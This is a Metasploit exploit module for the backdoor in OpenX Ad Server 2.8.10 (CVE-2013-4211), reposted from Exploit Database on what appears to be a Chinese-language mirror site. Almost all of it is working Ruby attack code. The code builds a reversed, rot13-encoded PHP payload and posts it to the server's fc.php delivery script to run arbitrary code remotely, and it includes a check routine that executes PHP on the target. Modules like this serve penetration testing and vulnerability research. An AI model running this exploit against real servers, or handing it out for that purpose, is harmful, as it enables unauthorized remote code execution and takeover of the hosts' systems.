OpenX – Backdoor PHP Code Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2013-08-12
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/27529/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'OpenX Backdoor PHP Code Execution',
  'Description'=> %q{
  OpenX Ad Server version 2.8.10 was shipped with an obfuscated
  backdoor since at least November 2012 through August 2013.
  Exploitation is simple, requiring only a single request with a
  rot13'd and reversed payload.
  },
  'Author' =>
  [
  'egypt', # Metasploit module, shouts to bperry for hooking me up with the vuln software
  'Unknown', # Someone planted this backdoor...
  ],
  'License'=> MSF_LICENSE,
  'References' => [
  [ 'CVE', '2013-4211' ],
  [ 'URL', 'http://www.heise.de/security/meldung/Achtung-Anzeigen-Server-OpenX-enthaelt-eine-Hintertuer-1929769.html'],
  [ 'URL', 'http://forum.openx.org/index.php?showtopic=503521628'],
  ],
  'Privileged' => false,
  'Payload'=>
  {
  'DisableNops' => true,
  # Arbitrary big number. The payload gets sent as POST data, so
  # really it's unlimited
  'Space' => 262144, # 256k
  },
  'DisclosureDate' => 'Aug 07 2013',
  'Platform' => 'php',
  'Arch' => ARCH_PHP,
  'Targets'=> [[ 'Generic (PHP payload)', { }]],
  'DefaultTarget' => 0))
  
  register_options([
  OptString.new('TARGETURI', [true, "The URI to request", "/openx/"]),
  ], self.class)
  end
  
  def check
  token = rand_text_alpha(20)
  response = execute_php("echo '#{token} '.phpversion();die();")
  
  if response.nil?
  CheckCode::Unknown
  elsif response.body =~ /#{token} ((:?\d\.?)+)/
  print_status("PHP Version #{$1}")
  return CheckCode::Vulnerable
  end
  return CheckCode::Safe
  end
  
  def exploit
  execute_php(payload.encoded)
  
  handler
  end
  
  def execute_php(php_code)
  money = rot13(php_code.reverse)
  begin
  response = send_request_cgi( {
  'method' => "POST",
  'global' => true,
  'uri'=> normalize_uri(target_uri.path,"www","delivery","fc.php"),
  'vars_get' => {
  'file_to_serve' => "flowplayer/3.1.1/flowplayer-3.1.1.min.js",
  'script' => 'deliveryLog:vastServeVideoPlayer:player'
  },
  'vars_post' => {
  'vastPlayer' => money
  },
  }, 0.1)
  rescue ::Rex::ConnectionError => e
  fail_with(Failure::Unreachable, e.message)
  rescue ::OpenSSL::SSL::SSLError
  fail_with(Failure::BadConfig, "The target failed to negotiate SSL, is this really an SSL service?")
  end
  
  response
  end
  
  def rot13(str)
  str.tr! "A-Za-z", "N-ZA-Mn-za-m"
  end
  
  end